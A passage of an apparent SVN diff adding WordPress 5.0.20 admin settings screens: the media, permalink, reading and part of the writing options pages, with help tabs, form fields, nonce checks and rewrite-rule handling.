+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Large size'); ?></span></legend>
+<label for="large_size_w"><?php _e('Max Width'); ?></label>
+<input name="large_size_w" type="number" step="1" min="0" id="large_size_w" value="<?php form_option('large_size_w'); ?>" class="small-text" />
+<br />
+<label for="large_size_h"><?php _e('Max Height'); ?></label>
+<input name="large_size_h" type="number" step="1" min="0" id="large_size_h" value="<?php form_option('large_size_h'); ?>" class="small-text" />
+</fieldset></td>
+</tr>
+
+<?php do_settings_fields('media', 'default'); ?>
+</table>
+
+<?php
+/**
+ * @global array $wp_settings
+ */
+if ( isset( $GLOBALS['wp_settings']['media']['embeds'] ) ) : ?>
+<h2 class="title"><?php _e('Embeds') ?></h2>
+<table class="form-table">
+<?php do_settings_fields( 'media', 'embeds' ); ?>
+</table>
+<?php endif; ?>
+
+<?php if ( !is_multisite() ) : ?>
+<h2 class="title"><?php _e('Uploading Files'); ?></h2>
+<table class="form-table">
+<?php
+// If upload_url_path is not the default (empty), and upload_path is not the default ('wp-content/uploads' or empty)
+if ( get_option('upload_url_path') || ( get_option('upload_path') != 'wp-content/uploads' && get_option('upload_path') ) ) :
+?>
+<tr>
+<th scope="row"><label for="upload_path"><?php _e('Store uploads in this folder'); ?></label></th>
+<td><input name="upload_path" type="text" id="upload_path" value="<?php echo esc_attr(get_option('upload_path')); ?>" class="regular-text code" />
+<p class="description"><?php
+	/* translators: %s: wp-content/uploads */
+	printf( __( 'Default is %s' ), '<code>wp-content/uploads</code>' );
+?></p>
+</td>
+</tr>
+
+<tr>
+<th scope="row"><label for="upload_url_path"><?php _e('Full URL path to files'); ?></label></th>
+<td><input name="upload_url_path" type="text" id="upload_url_path" value="<?php echo esc_attr( get_option('upload_url_path')); ?>" class="regular-text code" />
+<p class="description"><?php _e('Configuring this is optional. By default, it should be blank.'); ?></p>
+</td>
+</tr>
+<tr>
+<td colspan="2" class="td-full">
+<?php else : ?>
+<tr>
+<td class="td-full">
+<?php endif; ?>
+<label for="uploads_use_yearmonth_folders">
+<input name="uploads_use_yearmonth_folders" type="checkbox" id="uploads_use_yearmonth_folders" value="1"<?php checked('1', get_option('uploads_use_yearmonth_folders')); ?> />
+<?php _e('Organize my uploads into month- and year-based folders'); ?>
+</label>
+</td>
+</tr>
+
+<?php do_settings_fields('media', 'uploads'); ?>
+</table>
+<?php endif; ?>
+
+<?php do_settings_sections('media'); ?>
+
+<?php submit_button(); ?>
+
+</form>
+
+</div>
+
+<?php include( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Index: /tags/5.0.20/src/wp-admin/options-permalink.php
===================================================================
--- /tags/5.0.20/src/wp-admin/options-permalink.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/options-permalink.php	(revision 56912)
@@ -0,0 +1,372 @@
+<?php
+/**
+ * Permalink Settings Administration Screen.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can( 'manage_options' ) )
+	wp_die( __( 'Sorry, you are not allowed to manage options for this site.' ) );
+
+$title = __('Permalink Settings');
+$parent_file = 'options-general.php';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' => '<p>' . __('Permalinks are the permanent URLs to your individual pages and blog posts, as well as your category and tag archives. A permalink is the web address used to link to your content. The URL to each post should be permanent, and never change &#8212; hence the name permalink.') . '</p>' .
+		'<p>' . __( 'This screen allows you to choose your permalink structure. You can choose from common settings or create custom URL structures.' ) . '</p>' .
+		'<p>' . __('You must click the Save Changes button at the bottom of the screen for new settings to take effect.') . '</p>',
+) );
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'permalink-settings',
+	'title'   => __('Permalink Settings'),
+	'content' => '<p>' . __( 'Permalinks can contain useful information, such as the post date, title, or other elements. You can choose from any of the suggested permalink formats, or you can craft your own if you select Custom Structure.' ) . '</p>' .
+		'<p>' . __( 'If you pick an option other than Plain, your general URL path with structure tags (terms surrounded by <code>%</code>) will also appear in the custom structure field and your path can be further modified there.' ) . '</p>' .
+		'<p>' . __('When you assign multiple categories or tags to a post, only one can show up in the permalink: the lowest numbered category. This applies if your custom structure includes <code>%category%</code> or <code>%tag%</code>.') . '</p>' .
+		'<p>' . __('You must click the Save Changes button at the bottom of the screen for new settings to take effect.') . '</p>',
+) );
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'custom-structures',
+	'title'   => __('Custom Structures'),
+	'content' => '<p>' . __('The Optional fields let you customize the &#8220;category&#8221; and &#8220;tag&#8221; base names that will appear in archive URLs. For example, the page listing all posts in the &#8220;Uncategorized&#8221; category could be <code>/topics/uncategorized</code> instead of <code>/category/uncategorized</code>.') . '</p>' .
+		'<p>' . __('You must click the Save Changes button at the bottom of the screen for new settings to take effect.') . '</p>',
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Settings_Permalinks_Screen">Documentation on Permalinks Settings</a>') . '</p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Using_Permalinks">Documentation on Using Permalinks</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
+);
+
+$home_path = get_home_path();
+$iis7_permalinks = iis7_supports_permalinks();
+$permalink_structure = get_option( 'permalink_structure' );
+
+$prefix = $blog_prefix = '';
+if ( ! got_url_rewrite() )
+	$prefix = '/index.php';
+
+/**
+ * In a subdirectory configuration of multisite, the `/blog` prefix is used by
+ * default on the main site to avoid collisions with other sites created on that
+ * network. If the `permalink_structure` option has been changed to remove this
+ * base prefix, WordPress core can no longer account for the possible collision.
+ */
+if ( is_multisite() && ! is_subdomain_install() && is_main_site() && 0 === strpos( $permalink_structure, '/blog/' ) ) {
+	$blog_prefix = '/blog';
+}
+
+$category_base       = get_option( 'category_base' );
+$tag_base            = get_option( 'tag_base' );
+$update_required     = false;
+
+if ( $iis7_permalinks ) {
+	if ( ( ! file_exists($home_path . 'web.config') && win_is_writable($home_path) ) || win_is_writable($home_path . 'web.config') )
+		$writable = true;
+	else
+		$writable = false;
+} elseif ( $is_nginx ) {
+	$writable = false;
+} else {
+	if ( ( ! file_exists( $home_path . '.htaccess' ) && is_writable( $home_path ) ) || is_writable( $home_path . '.htaccess' ) ) {
+		$writable = true;
+	} else {
+		$writable = false;
+		$existing_rules  = array_filter( extract_from_markers( $home_path . '.htaccess', 'WordPress' ) );
+		$new_rules       = array_filter( explode( "\n", $wp_rewrite->mod_rewrite_rules() ) );
+		$update_required = ( $new_rules !== $existing_rules );
+	}
+}
+
+$using_index_permalinks = $wp_rewrite->using_index_permalinks();
+
+if ( isset($_POST['permalink_structure']) || isset($_POST['category_base']) ) {
+	check_admin_referer('update-permalink');
+
+	if ( isset( $_POST['permalink_structure'] ) ) {
+		if ( isset( $_POST['selection'] ) && 'custom' != $_POST['selection'] )
+			$permalink_structure = $_POST['selection'];
+		else
+			$permalink_structure = $_POST['permalink_structure'];
+
+		if ( ! empty( $permalink_structure ) ) {
+			$permalink_structure = preg_replace( '#/+#', '/', '/' . str_replace( '#', '', $permalink_structure ) );
+			if ( $prefix && $blog_prefix )
+				$permalink_structure = $prefix . preg_replace( '#^/?index\.php#', '', $permalink_structure );
+			else
+				$permalink_structure = $blog_prefix . $permalink_structure;
+		}
+
+		$permalink_structure = sanitize_option( 'permalink_structure', $permalink_structure );
+
+		$wp_rewrite->set_permalink_structure( $permalink_structure );
+	}
+
+	if ( isset( $_POST['category_base'] ) ) {
+		$category_base = $_POST['category_base'];
+		if ( ! empty( $category_base ) )
+			$category_base = $blog_prefix . preg_replace('#/+#', '/', '/' . str_replace( '#', '', $category_base ) );
+		$wp_rewrite->set_category_base( $category_base );
+	}
+
+	if ( isset( $_POST['tag_base'] ) ) {
+		$tag_base = $_POST['tag_base'];
+		if ( ! empty( $tag_base ) )
+			$tag_base = $blog_prefix . preg_replace('#/+#', '/', '/' . str_replace( '#', '', $tag_base ) );
+		$wp_rewrite->set_tag_base( $tag_base );
+	}
+
+	$message = __( 'Permalink structure updated.' );
+
+	if ( $iis7_permalinks ) {
+		if ( $permalink_structure && ! $using_index_permalinks && ! $writable ) {
+			$message = __( 'You should update your web.config now.' );
+		} elseif ( $permalink_structure && ! $using_index_permalinks && $writable ) {
+			$message = __( 'Permalink structure updated. Remove write access on web.config file now!' );
+		}
+	} elseif ( ! $is_nginx && $permalink_structure && ! $using_index_permalinks && ! $writable && $update_required ) {
+		$message = __( 'You should update your .htaccess now.' );
+	}
+
+	if ( ! get_settings_errors() ) {
+		add_settings_error( 'general', 'settings_updated', $message, 'updated' );
+	}
+
+	set_transient( 'settings_errors', get_settings_errors(), 30 );
+
+	wp_redirect( admin_url( 'options-permalink.php?settings-updated=true' ) );
+	exit;
+}
+
+flush_rewrite_rules();
+
+require( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+<div class="wrap">
+<h1><?php echo esc_html( $title ); ?></h1>
+
+<form name="form" action="options-permalink.php" method="post">
+<?php wp_nonce_field('update-permalink') ?>
+
+	<p><?php
+		printf(
+			/* translators: %s: Codex URL */
+			__( 'WordPress offers you the ability to create a custom URL structure for your permalinks and archives. Custom URL structures can improve the aesthetics, usability, and forward-compatibility of your links. A <a href="%s">number of tags are available</a>, and here are some examples to get you started.' ),
+			__( 'https://codex.wordpress.org/Using_Permalinks' )
+		);
+	?></p>
+
+<?php
+if ( is_multisite() && ! is_subdomain_install() && is_main_site() && 0 === strpos( $permalink_structure, '/blog/' ) ) {
+	$permalink_structure = preg_replace( '|^/?blog|', '', $permalink_structure );
+	$category_base = preg_replace( '|^/?blog|', '', $category_base );
+	$tag_base = preg_replace( '|^/?blog|', '', $tag_base );
+}
+
+$structures = array(
+	0 => '',
+	1 => $prefix . '/%year%/%monthnum%/%day%/%postname%/',
+	2 => $prefix . '/%year%/%monthnum%/%postname%/',
+	3 => $prefix . '/' . _x( 'archives', 'sample permalink base' ) . '/%post_id%',
+	4 => $prefix . '/%postname%/',
+);
+?>
+<h2 class="title"><?php _e('Common Settings'); ?></h2>
+<table class="form-table permalink-structure">
+	<tr>
+		<th><label><input name="selection" type="radio" value="" <?php checked('', $permalink_structure); ?> /> <?php _e( 'Plain' ); ?></label></th>
+		<td><code><?php echo get_option('home'); ?>/?p=123</code></td>
+	</tr>
+	<tr>
+		<th><label><input name="selection" type="radio" value="<?php echo esc_attr($structures[1]); ?>" <?php checked($structures[1], $permalink_structure); ?> /> <?php _e('Day and name'); ?></label></th>
+		<td><code><?php echo get_option('home') . $blog_prefix . $prefix . '/' . date('Y') . '/' . date('m') . '/' . date('d') . '/' . _x( 'sample-post', 'sample permalink structure' ) . '/'; ?></code></td>
+	</tr>
+	<tr>
+		<th><label><input name="selection" type="radio" value="<?php echo esc_attr($structures[2]); ?>" <?php checked($structures[2], $permalink_structure); ?> /> <?php _e('Month and name'); ?></label></th>
+		<td><code><?php echo get_option('home') . $blog_prefix . $prefix . '/' . date('Y') . '/' . date('m') . '/' . _x( 'sample-post', 'sample permalink structure' ) . '/'; ?></code></td>
+	</tr>
+	<tr>
+		<th><label><input name="selection" type="radio" value="<?php echo esc_attr($structures[3]); ?>" <?php checked($structures[3], $permalink_structure); ?> /> <?php _e('Numeric'); ?></label></th>
+		<td><code><?php echo get_option('home') . $blog_prefix . $prefix . '/' . _x( 'archives', 'sample permalink base' ) . '/123'; ?></code></td>
+	</tr>
+	<tr>
+		<th><label><input name="selection" type="radio" value="<?php echo esc_attr($structures[4]); ?>" <?php checked($structures[4], $permalink_structure); ?> /> <?php _e('Post name'); ?></label></th>
+		<td><code><?php echo get_option('home') . $blog_prefix . $prefix . '/' . _x( 'sample-post', 'sample permalink structure' ) . '/'; ?></code></td>
+	</tr>
+	<tr>
+		<th>
+			<label><input name="selection" id="custom_selection" type="radio" value="custom" <?php checked( !in_array($permalink_structure, $structures) ); ?> />
+			<?php _e('Custom Structure'); ?>
+			</label>
+		</th>
+		<td>
+			<code><?php echo get_option('home') . $blog_prefix; ?></code>
+			<input name="permalink_structure" id="permalink_structure" type="text" value="<?php echo esc_attr($permalink_structure); ?>" class="regular-text code" />
+			<div class="available-structure-tags hide-if-no-js">
+				<div id="custom_selection_updated" aria-live="assertive" class="screen-reader-text"></div>
+				<?php
+				$available_tags = array(
+					/* translators: %s: permalink structure tag */
+					'year'     => __( '%s (The year of the post, four digits, for example 2004.)' ),
+					/* translators: %s: permalink structure tag */
+					'monthnum' => __( '%s (Month of the year, for example 05.)' ),
+					/* translators: %s: permalink structure tag */
+					'day'      => __( '%s (Day of the month, for example 28.)' ),
+					/* translators: %s: permalink structure tag */
+					'hour'     => __( '%s (Hour of the day, for example 15.)' ),
+					/* translators: %s: permalink structure tag */
+					'minute'   => __( '%s (Minute of the hour, for example 43.)' ),
+					/* translators: %s: permalink structure tag */
+					'second'   => __( '%s (Second of the minute, for example 33.)' ),
+					/* translators: %s: permalink structure tag */
+					'post_id'  => __( '%s (The unique ID of the post, for example 423.)' ),
+					/* translators: %s: permalink structure tag */
+					'postname' => __( '%s (The sanitized post title (slug).)' ),
+					/* translators: %s: permalink structure tag */
+					'category' => __( '%s (Category slug. Nested sub-categories appear as nested directories in the URL.)' ),
+					/* translators: %s: permalink structure tag */
+					'author'   => __( '%s (A sanitized version of the author name.)' ),
+				);
+
+				/**
+				 * Filters the list of available permalink structure tags on the Permalinks settings page.
+				 *
+				 * @since 4.8.0
+				 *
+				 * @param array $available_tags A key => value pair of available permalink structure tags.
+				 */
+				$available_tags = apply_filters( 'available_permalink_structure_tags', $available_tags );
+
+				/* translators: %s: permalink structure tag */
+				$structure_tag_added = __( '%s added to permalink structure' );
+
+				/* translators: %s: permalink structure tag */
+				$structure_tag_already_used = __( '%s (already used in permalink structure)' );
+
+				if ( ! empty( $available_tags ) ) :
+					?>
+					<p><?php _e( 'Available tags:' ); ?></p>
+					<ul role="list">
+						<?php
+						foreach ( $available_tags as $tag => $explanation ) {
+							?>
+							<li>
+								<button type="button"
+								        class="button button-secondary"
+								        aria-label="<?php echo esc_attr( sprintf( $explanation, $tag ) ); ?>"
+								        data-added="<?php echo esc_attr( sprintf( $structure_tag_added, $tag ) ); ?>"
+								        data-used="<?php echo esc_attr( sprintf( $structure_tag_already_used, $tag ) ); ?>">
+									<?php echo '%' . $tag . '%'; ?>
+								</button>
+							</li>
+							<?php
+						}
+						?>
+					</ul>
+				<?php endif; ?>
+			</div>
+		</td>
+	</tr>
+</table>
+
+<h2 class="title"><?php _e('Optional'); ?></h2>
+<p><?php
+/* translators: %s: placeholder that must come at the start of the URL */
+printf( __( 'If you like, you may enter custom structures for your category and tag URLs here. For example, using <code>topics</code> as your category base would make your category links like <code>%s/topics/uncategorized/</code>. If you leave these blank the defaults will be used.' ), get_option( 'home' ) . $blog_prefix . $prefix ); ?></p>
+
+<table class="form-table">
+	<tr>
+		<th><label for="category_base"><?php /* translators: prefix for category permalinks */ _e('Category base'); ?></label></th>
+		<td><?php echo $blog_prefix; ?> <input name="category_base" id="category_base" type="text" value="<?php echo esc_attr( $category_base ); ?>" class="regular-text code" /></td>
+	</tr>
+	<tr>
+		<th><label for="tag_base"><?php _e('Tag base'); ?></label></th>
+		<td><?php echo $blog_prefix; ?> <input name="tag_base" id="tag_base" type="text" value="<?php echo esc_attr($tag_base); ?>" class="regular-text code" /></td>
+	</tr>
+	<?php do_settings_fields('permalink', 'optional'); ?>
+</table>
+
+<?php do_settings_sections('permalink'); ?>
+
+<?php submit_button(); ?>
+  </form>
+<?php if ( !is_multisite() ) { ?>
+<?php if ( $iis7_permalinks ) :
+	if ( isset($_POST['submit']) && $permalink_structure && ! $using_index_permalinks && ! $writable ) :
+		if ( file_exists($home_path . 'web.config') ) : ?>
+<p><?php
+	printf(
+		/* translators: 1: web.config, 2: Codex URL, 3: CTRL + a, 4: element code */
+		__( 'If your %1$s file was <a href="%2$s">writable</a>, we could do this automatically, but it isn&#8217;t so this is the url rewrite rule you should have in your %1$s file. Click in the field and press %3$s to select all. Then insert this rule inside of the %4$s element in %1$s file.' ),
+		'<code>web.config</code>',
+		__( 'https://codex.wordpress.org/Changing_File_Permissions' ),
+		'<kbd>CTRL + a</kbd>',
+		'<code>/&lt;configuration&gt;/&lt;system.webServer&gt;/&lt;rewrite&gt;/&lt;rules&gt;</code>'
+	);
+?></p>
+<form action="options-permalink.php" method="post">
+<?php wp_nonce_field('update-permalink') ?>
+	<p><textarea rows="9" class="large-text readonly" name="rules" id="rules" readonly="readonly"><?php echo esc_textarea( $wp_rewrite->iis7_url_rewrite_rules() ); ?></textarea></p>
+</form>
+<p><?php
+	printf(
+		/* translators: %s: web.config */
+		__( 'If you temporarily make your %s file writable for us to generate rewrite rules automatically, do not forget to revert the permissions after rule has been saved.' ),
+		'<code>web.config</code>'
+	);
+?></p>
+		<?php else : ?>
+<p><?php
+	printf(
+		/* translators: 1: Codex URL, 2: web.config, 3: CTRL + a */
+		__( 'If the root directory of your site was <a href="%1$s">writable</a>, we could do this automatically, but it isn&#8217;t so this is the url rewrite rule you should have in your %2$s file. Create a new file, called %2$s in the root directory of your site. Click in the field and press %3$s to select all. Then insert this code into the %2$s file.' ),
+		__( 'https://codex.wordpress.org/Changing_File_Permissions' ),
+		'<code>web.config</code>',
+		'<kbd>CTRL + a</kbd>'
+	);
+?></p>
+<form action="options-permalink.php" method="post">
+<?php wp_nonce_field('update-permalink') ?>
+	<p><textarea rows="18" class="large-text readonly" name="rules" id="rules" readonly="readonly"><?php echo esc_textarea( $wp_rewrite->iis7_url_rewrite_rules(true) ); ?></textarea></p>
+</form>
+<p><?php
+	printf(
+		/* translators: %s: web.config */
+		__( 'If you temporarily make your site&#8217;s root directory writable for us to generate the %s file automatically, do not forget to revert the permissions after the file has been created.' ),
+		'<code>web.config</code>'
+	);
+?></p>
+		<?php endif; ?>
+	<?php endif; ?>
+<?php elseif ( $is_nginx ) : ?>
+	<p><?php _e( '<a href="https://codex.wordpress.org/Nginx">Documentation on Nginx configuration</a>.' ); ?></p>
+<?php else:
+	if ( $permalink_structure && ! $using_index_permalinks && ! $writable && $update_required ) : ?>
+<p><?php
+	printf(
+		/* translators: 1: .htaccess, 2: Codex URL, 3: CTRL + a */
+		__( 'If your %1$s file was <a href="%2$s">writable</a>, we could do this automatically, but it isn&#8217;t so these are the mod_rewrite rules you should have in your %1$s file. Click in the field and press %3$s to select all.' ),
+		'<code>.htaccess</code>',
+		__( 'https://codex.wordpress.org/Changing_File_Permissions' ),
+		'<kbd>CTRL + a</kbd>'
+	);
+?></p>
+<form action="options-permalink.php" method="post">
+<?php wp_nonce_field('update-permalink') ?>
+	<p><textarea rows="6" class="large-text readonly" name="rules" id="rules" readonly="readonly"><?php echo esc_textarea( $wp_rewrite->mod_rewrite_rules() ); ?></textarea></p>
+</form>
+	<?php endif; ?>
+<?php endif; ?>
+<?php } // multisite ?>
+
+</div>
+
+<?php require( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Index: /tags/5.0.20/src/wp-admin/options-reading.php
===================================================================
--- /tags/5.0.20/src/wp-admin/options-reading.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/options-reading.php	(revision 56912)
@@ -0,0 +1,151 @@
+<?php
+/**
+ * Reading settings administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can( 'manage_options' ) )
+	wp_die( __( 'Sorry, you are not allowed to manage options for this site.' ) );
+
+$title = __( 'Reading Settings' );
+$parent_file = 'options-general.php';
+
+add_action('admin_head', 'options_reading_add_js');
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' => '<p>' . __('This screen contains the settings that affect the display of your content.') . '</p>' .
+		'<p>' . sprintf(__('You can choose what&#8217;s displayed on the homepage of your site. It can be posts in reverse chronological order (classic blog), or a fixed/static page. To set a static homepage, you first need to create two <a href="%s">Pages</a>. One will become the homepage, and the other will be where your posts are displayed.'), 'post-new.php?post_type=page') . '</p>' .
+		'<p>' . __('You can also control the display of your content in RSS feeds, including the maximum number of posts to display and whether to show full text or a summary.') . '</p>' .
+		'<p>' . __('You must click the Save Changes button at the bottom of the screen for new settings to take effect.') . '</p>',
+) );
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'site-visibility',
+	'title'   => has_action( 'blog_privacy_selector' ) ? __( 'Site Visibility' ) : __( 'Search Engine Visibility' ),
+	'content' => '<p>' . __( 'You can choose whether or not your site will be crawled by robots, ping services, and spiders. If you want those services to ignore your site, click the checkbox next to &#8220;Discourage search engines from indexing this site&#8221; and click the Save Changes button at the bottom of the screen. Note that your privacy is not complete; your site is still visible on the web.' ) . '</p>' .
+		'<p>' . __( 'When this setting is in effect, a reminder is shown in the At a Glance box of the Dashboard that says, &#8220;Search Engines Discouraged,&#8221; to remind you that your site is not being crawled.' ) . '</p>',
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Settings_Reading_Screen">Documentation on Reading Settings</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
+);
+
+include( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+
+<div class="wrap">
+<h1><?php echo esc_html( $title ); ?></h1>
+
+<form method="post" action="options.php">
+<?php
+settings_fields( 'reading' );
+
+if ( ! in_array( get_option( 'blog_charset' ), array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ) ) )
+	add_settings_field( 'blog_charset', __( 'Encoding for pages and feeds' ), 'options_reading_blog_charset', 'reading', 'default', array( 'label_for' => 'blog_charset' ) );
+?>
+
+<?php if ( ! get_pages() ) : ?>
+<input name="show_on_front" type="hidden" value="posts" />
+<table class="form-table">
+<?php
+	if ( 'posts' != get_option( 'show_on_front' ) ) :
+		update_option( 'show_on_front', 'posts' );
+	endif;
+
+else :
+	if ( 'page' == get_option( 'show_on_front' ) && ! get_option( 'page_on_front' ) && ! get_option( 'page_for_posts' ) )
+		update_option( 'show_on_front', 'posts' );
+?>
+<table class="form-table">
+<tr>
+<th scope="row"><?php _e( 'Your homepage displays' ); ?></th>
+<td id="front-static-pages"><fieldset><legend class="screen-reader-text"><span><?php _e( 'Your homepage displays' ); ?></span></legend>
+	<p><label>
+		<input name="show_on_front" type="radio" value="posts" class="tog" <?php checked( 'posts', get_option( 'show_on_front' ) ); ?> />
+		<?php _e( 'Your latest posts' ); ?>
+	</label>
+	</p>
+	<p><label>
+		<input name="show_on_front" type="radio" value="page" class="tog" <?php checked( 'page', get_option( 'show_on_front' ) ); ?> />
+		<?php printf( __( 'A <a href="%s">static page</a> (select below)' ), 'edit.php?post_type=page' ); ?>
+	</label>
+	</p>
+<ul>
+	<li><label for="page_on_front"><?php printf( __( 'Homepage: %s' ), wp_dropdown_pages( array( 'name' => 'page_on_front', 'echo' => 0, 'show_option_none' => __( '&mdash; Select &mdash;' ), 'option_none_value' => '0', 'selected' => get_option( 'page_on_front' ) ) ) ); ?></label></li>
+	<li><label for="page_for_posts"><?php printf( __( 'Posts page: %s' ), wp_dropdown_pages( array( 'name' => 'page_for_posts', 'echo' => 0, 'show_option_none' => __( '&mdash; Select &mdash;' ), 'option_none_value' => '0', 'selected' => get_option( 'page_for_posts' ) ) ) ); ?></label></li>
+</ul>
+<?php if ( 'page' == get_option( 'show_on_front' ) && get_option( 'page_for_posts' ) == get_option( 'page_on_front' ) ) : ?>
+<div id="front-page-warning" class="error inline"><p><?php _e( '<strong>Warning:</strong> these pages should not be the same!' ); ?></p></div>
+<?php endif; ?>
+</fieldset></td>
+</tr>
+<?php endif; ?>
+<tr>
+<th scope="row"><label for="posts_per_page"><?php _e( 'Blog pages show at most' ); ?></label></th>
+<td>
+<input name="posts_per_page" type="number" step="1" min="1" id="posts_per_page" value="<?php form_option( 'posts_per_page' ); ?>" class="small-text" /> <?php _e( 'posts' ); ?>
+</td>
+</tr>
+<tr>
+<th scope="row"><label for="posts_per_rss"><?php _e( 'Syndication feeds show the most recent' ); ?></label></th>
+<td><input name="posts_per_rss" type="number" step="1" min="1" id="posts_per_rss" value="<?php form_option( 'posts_per_rss' ); ?>" class="small-text" /> <?php _e( 'items' ); ?></td>
+</tr>
+<tr>
+<th scope="row"><?php _e( 'For each article in a feed, show' ); ?> </th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e( 'For each article in a feed, show' ); ?> </span></legend>
+<p><label><input name="rss_use_excerpt" type="radio" value="0" <?php checked( 0, get_option( 'rss_use_excerpt' ) ); ?>	/> <?php _e( 'Full text' ); ?></label><br />
+<label><input name="rss_use_excerpt" type="radio" value="1" <?php checked( 1, get_option( 'rss_use_excerpt' ) ); ?> /> <?php _e( 'Summary' ); ?></label></p>
+</fieldset></td>
+</tr>
+
+<tr class="option-site-visibility">
+<th scope="row"><?php has_action( 'blog_privacy_selector' ) ? _e( 'Site Visibility' ) : _e( 'Search Engine Visibility' ); ?> </th>
+<td><fieldset><legend class="screen-reader-text"><span><?php has_action( 'blog_privacy_selector' ) ? _e( 'Site Visibility' ) : _e( 'Search Engine Visibility' ); ?> </span></legend>
+<?php if ( has_action( 'blog_privacy_selector' ) ) : ?>
+	<input id="blog-public" type="radio" name="blog_public" value="1" <?php checked('1', get_option('blog_public')); ?> />
+	<label for="blog-public"><?php _e( 'Allow search engines to index this site' );?></label><br/>
+	<input id="blog-norobots" type="radio" name="blog_public" value="0" <?php checked('0', get_option('blog_public')); ?> />
+	<label for="blog-norobots"><?php _e( 'Discourage search engines from indexing this site' ); ?></label>
+	<p class="description"><?php _e( 'Note: Neither of these options blocks access to your site &mdash; it is up to search engines to honor your request.' ); ?></p>
+	<?php
+	/**
+	 * Enable the legacy 'Site Visibility' privacy options.
+	 *
+	 * By default the privacy options form displays a single checkbox to 'discourage' search
+	 * engines from indexing the site. Hooking to this action serves a dual purpose:
+	 * 1. Disable the single checkbox in favor of a multiple-choice list of radio buttons.
+	 * 2. Open the door to adding additional radio button choices to the list.
+	 *
+	 * Hooking to this action also converts the 'Search Engine Visibility' heading to the more
+	 * open-ended 'Site Visibility' heading.
+	 *
+	 * @since 2.1.0
+	 */
+	do_action( 'blog_privacy_selector' );
+	?>
+<?php else : ?>
+	<label for="blog_public"><input name="blog_public" type="checkbox" id="blog_public" value="0" <?php checked( '0', get_option( 'blog_public' ) ); ?> />
+	<?php _e( 'Discourage search engines from indexing this site' ); ?></label>
+	<p class="description"><?php _e( 'It is up to search engines to honor this request.' ); ?></p>
+<?php endif; ?>
+</fieldset></td>
+</tr>
+
+<?php do_settings_fields( 'reading', 'default' ); ?>
+</table>
+
+<?php do_settings_sections( 'reading' ); ?>
+
+<?php submit_button(); ?>
+</form>
+</div>
+<?php include( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Index: /tags/5.0.20/src/wp-admin/options-writing.php
===================================================================
--- /tags/5.0.20/src/wp-admin/options-writing.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/options-writing.php	(revision 56912)
@@ -0,0 +1,201 @@
+<?php
+/**
+ * Writing settings administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can( 'manage_options' ) )
+	wp_die( __( 'Sorry, you are not allowed to manage options for this site.' ) );
+
+$title = __('Writing Settings');
+$parent_file = 'options-general.php';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' => '<p>' . __('You can submit content in several different ways; this screen holds the settings for all of them. The top section controls the editor within the dashboard, while the rest control external publishing methods. For more information on any of these methods, use the documentation links.') . '</p>' .
+		'<p>' . __('You must click the Save Changes button at the bottom of the screen for new settings to take effect.') . '</p>',
+) );
+
+/** This filter is documented in wp-admin/options.php */
+if ( apply_filters( 'enable_post_by_email_configuration', true ) ) {
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'options-postemail',
+		'title'   => __( 'Post Via Email' ),
+		'content' => '<p>' . __( 'Post via email settings allow you to send your WordPress installation an email with the content of your post. You must set up a secret email account with POP3 access to use this, and any mail received at this address will be posted, so it&#8217;s a good idea to keep this address very secret.' ) . '</p>',
+	) );
+}
+
+/** This filter is documented in wp-admin/options-writing.php */
+if ( apply_filters( 'enable_update_services_configuration', true ) ) {
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'options-services',
+		'title'   => __( 'Update Services' ),
+		'content' => '<p>' . __( 'If desired, WordPress will automatically alert various services of your new posts.' ) . '</p>',
+	) );
+}
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Settings_Writing_Screen">Documentation on Writing Settings</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
+);
+
+include( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+
+<div class="wrap">
+<h1><?php echo esc_html( $title ); ?></h1>
+
+<form method="post" action="options.php">
+<?php settings_fields('writing'); ?>
+
+<table class="form-table">
+<?php if ( get_site_option( 'initial_db_version' ) < 32453 ) : ?>
+<tr>
+<th scope="row"><?php _e('Formatting') ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Formatting') ?></span></legend>
+<label for="use_smilies">
+<input name="use_smilies" type="checkbox" id="use_smilies" value="1" <?php checked('1', get_option('use_smilies')); ?> />
